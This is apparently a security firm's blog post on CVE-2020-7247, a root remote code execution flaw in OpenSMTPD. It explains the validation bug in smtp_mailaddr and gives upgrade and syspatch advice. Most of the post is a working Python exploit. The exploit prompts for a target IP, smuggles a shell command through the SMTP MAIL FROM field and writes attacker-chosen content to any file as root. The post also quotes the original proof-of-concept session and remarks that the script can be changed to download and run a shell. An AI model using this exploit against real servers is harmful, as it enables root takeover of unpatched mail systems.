Remote code execution in OpenSMTPD

A remote code execution has been found in OpenSMTPD

Opensmtpd vulnerable firo solutions

Summary

A remote code execution vulnerability has been found in the email server program OpenSMTPD.
Which allows a third party to execute shell commands
as root.

Vulnerable versions are openbsd 6.4 to 6.6

CVE-2020-7247

On posix based systems you have mbox
which is the operating systems way of passing messages to users and deliver it to their home
directory. So the email system need privileges to write to every users directory including the root users.

The vulnerability lays in the code:

2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236 
2237         return (1);
2238 }

If the local part of an email address in not valid and does not have a domain name, it is not properly validated and an third party could
pass dangerous characters and ignore MAILADDR_ALLOWED and MAILADDR_ESCAPE
checks. And pass on a malicious string to the mda command.

Patch it

OpenSMTPD patch firo solutions

The vulnerability is affecting openbsd 6.4-6.6 so we recommend that you upgrade to the latest version https://www.openbsd.org/faq/upgrade65.html
https://www.openbsd.org/faq/upgrade66.html

and run syspatch!

A syspatch is available for openbsd 6.5 and openbsd 6.6

Exploit:

# python3.6
# Remote code execution on OpenSMTPD, found by qualysis
# this exploit executes shell(/usr/sh), 
# in this program it just writes to disk
# Written by filip <at> firosolutions.com
# Read our blog at blog.firosolutions.com 

import socket, time
import sys


#https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
"""

$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
 
this writes to disk:

# ls -l /root/x.* 
-rw-r--r--  1 root  wheel  180 Jan 30 16:22 /root/x.0.58416
# cat /root/x.0.58416                                  
(W) uid=0(root) gid=0(wheel) groups=0(wheel)
(O) uid=0(root) gid=0(wheel) groups=0(wheel)
(P) uid=0(root) gid=0(wheel) groups=0(wheel)
(R) uid=0(root) gid=0(wheel) groups=0(wheel)
delilah# 

"""


HOST = input("what is the ip address of the host?: ")   # The remote host , gimme as raw_input
PORT = 25              # smtp port
s = None

writeto = input("Which file do you want to write to?: ")#raw inputen
writewhat = input("What do you want to write to the file?: ")
payload = b"""\r\n

#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n 
#c\r\n
#d\r\n
echo '"""+writewhat.encode()+b"""' > """+writeto.encode()+b"""
.
"""

for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
    af, socktype, proto, canonname, sa = res
    try:
        s = socket.socket(af, socktype, proto)
    except OSError as msg:
        s = None
        continue
    try:
        s.connect(sa)
    except OSError as msg:
        s.close()
        s = None
        continue
    break
if s is None:
    print('could not open socket')
    sys.exit(1)
with s:
	data = s.recv(1024)
	print('Received', repr(data))
	time.sleep(1)
	print('sending')
	s.send(b"helo test.com\r\n")
	data = s.recv(1024)
	print('Received', repr(data))
	s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n")
	time.sleep(1)
	data = s.recv(1024)
	print('Received', repr(data))
	s.send(b"RCPT TO:<root>\r\n")
	data = s.recv(1024)
	print('Received', repr(data))
	s.send(b"DATA\r\n")
	data = s.recv(1024)
	print('Received', repr(data))
	s.send(payload)
	data = s.recv(1024)
	print('Received', repr(data))
	s.send(b"QUIT\r\n")
	data = s.recv(1024)
	print('Received', repr(data))
print("done")
s.close()



The script can easily be rewritten to executing any /usr/sh commando, for example: downloading and executing a shell

Opensmptd exploit firo solutions

You can also find a copy of the exploit on our github: https://github.com/FiroSolutions/cve-2020-7247-exploit

External links:
Vulnerability discloser
Opensmtpd